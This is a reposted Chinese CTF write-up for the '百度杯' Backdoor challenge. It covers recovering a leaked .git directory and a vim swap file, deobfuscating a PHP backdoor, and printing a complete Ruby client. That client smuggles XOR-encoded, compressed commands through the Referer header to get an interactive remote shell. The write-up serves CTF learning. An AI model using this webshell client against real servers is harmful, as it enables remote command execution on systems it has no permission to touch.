CVE漏洞中文网

0DayBank一个专门收集整理全球互联网漏洞的公开发布网站
  1. 首页
  2. 漏洞列表
  3. 正文

backdoor

2018年11月28日 836点热度 0人点赞 0条评论

backdoor

有信众测Web就业班
下载App 登录 丨 注册
成为优享会员
成为优享会员
首页 知识体系 职业成长 CTF大本营 培训认证 企安殿 安全意识 春秋学堂 有信众测 社区
CTF大本营 > Writeup分享 > “百度杯”CTF比赛 十月场Backdoor
“百度杯”CTF比赛 十月场Backdoor
lawliet2018-03-21 14:26:13341596

扫描发现了.git

用githack,下载.git的泄露,后浏览

访问b4ckdo0r.php文件

http://484506d1ca4746d1806c859ae3d1d85fb55bb9b9a2e0403a.game.ichunqiu.com/Challenges/b4ckdo0r.php

发现.b4ckdo0r.php.swo 的vim缓存文件,下载

http://484506d1ca4746d1806c859ae3d1d85fb55bb9b9a2e0403a.game.ichunqiu.com/Challenges/.b4ckdo0r.php.swo

修改后缀为swp,编辑b4ckdo0r.php文件

恢复文件内容为:

发现代码经过混淆,打印看看混淆的内容

$L进行美化后的代码为(注释分析):

根据代码,对webshell写了一个利用的脚本,得到了flag

下面是getshell.rb的源代码,修改下面的php目录(即下面的url)即可

#!/usr/bin/env ruby# author Lrequire 'open-uri'require 'uri'require 'digest'require 'zlib'require 'base64'class Client def initialize(keyh, keyf, url) @keyh = keyh @keyf = keyf @url = url @xorkey = keyh + keyf @langs = 'zh-CH,zh-TW;q=0.1,zh-HK;q=0.2,en-US;q=0.3' langs2head = 'zz' @md5h = Digest::MD5.hexdigest(langs2head + keyh)[0,3] @md5f = Digest::MD5.hexdigest(langs2head + keyf)[0,3] @rep_re = /<#@xorkey>(.*?)<\/#@xorkey>/ end def xor(payload) cyclekey = @xorkey.each_byte.cycle payload.each_byte.map{ |ord| ord ^ cyclekey.next }.pack 'C*' end def encode_payload cmd payload = Zlib::Deflate.deflate(cmd) payload = xor(payload) payload = Base64.urlsafe_encode64(payload) query = [['q0', 'L'], ['q1', @md5h], ['q2', payload], ['q3', @md5f]] "#{@url}?#{URI.encode_www_form(query)}" end def decode_payload code msg = Base64.urlsafe_decode64(code) msg = xor(msg) Zlib::Inflate.inflate(msg) end def exploit cmd referer = encode_payload cmd begin open(@url, 'Accept-Language' => @langs, 'Referer' => referer) do |f| @rep_re =~ f.read() end decode_payload $1 rescue abort "[!!!] " + $!.to_s end endendif __FILE__ == $0 url = 'http://756be6f7a1384100a5c6552741b0e59d6ae77775a3a24a17.game.ichunqiu.com/Challenges/b4ckdo0r.php' keyh = '4f7f' keyf = '28d7' client = Client.new(keyh, keyf, url) system_cmd = false loop do prompt = system_cmd ? 'shell > ' : 'phpshell > ' print prompt cmd = gets(chomp:true) case cmd when 'shell' system_cmd = true when 'exit', 'quit' break unless system_cmd system_cmd = false else cmd = "system('#{cmd}');" if system_cmd puts client.exploit cmd puts end endend

【点击这里去答题】
3

Writeup内容是否精彩?快分享一下你的心情吧
0/150 Writeup内容是否精彩?快分享一下你的心情吧!已有账号直接 [ 登录 ],未注册用户请先进行[ 注册 ]操作
评论
最新评论

淚笑发表于:2018-10-13 18:57:35
githack都不会还原.git文件夹,,,到底怎么回退的???

回复

我是ccr呀发表于:2018-08-03 17:34:43
我更想问怎么发现b4ckdo0r.php.swo 的vim缓存文件的呀????

回复

kuroneko发表于:2018-07-26 14:15:22
大神,githack好像不会还原.git文件夹,请问writeup里的git版本回退是怎么实现的?

回复
我是ccr呀回复kuroneko:2018-08-03 17:32:50
githack下载下来之后用git打开查看就好了

回复
eth10回复我是ccr呀:2018-08-08 18:17:36
不行啊,下载下来的是这个 求大佬指点

回复

白hack发表于:2018-07-05 15:07:26
怎么扫描出 .git文件的

回复
我是ccr呀回复白hack:2018-08-03 17:32:19
dirsearch

回复
首页上一页1下一页末页共1页

了解i春秋 加入i春秋 讲师招募 有信众测 协同育人 帮助中心 用户协议 邮箱:kefu@ichunqiu.com QQ群:827546392、556040588、234714762
版权所有 北京五一嘉峪科技有限公司

地址: 海淀区中关村软件广场C座

京ICP证150695号 京ICP备15029557号 京公网安备11010802027748号

0daybank

标签: 暂无
最后更新:2018年11月28日

小助手

这个人很懒,什么都没留下

点赞
< 上一篇
下一篇 >

文章评论

您需要 登录 之后才可以评论

COPYRIGHT © 2024 www.pdr.cn CVE漏洞中文网. ALL RIGHTS RESERVED.

鲁ICP备2022031030号

联系邮箱:wpbgssyubnmsxxxkkk@proton.me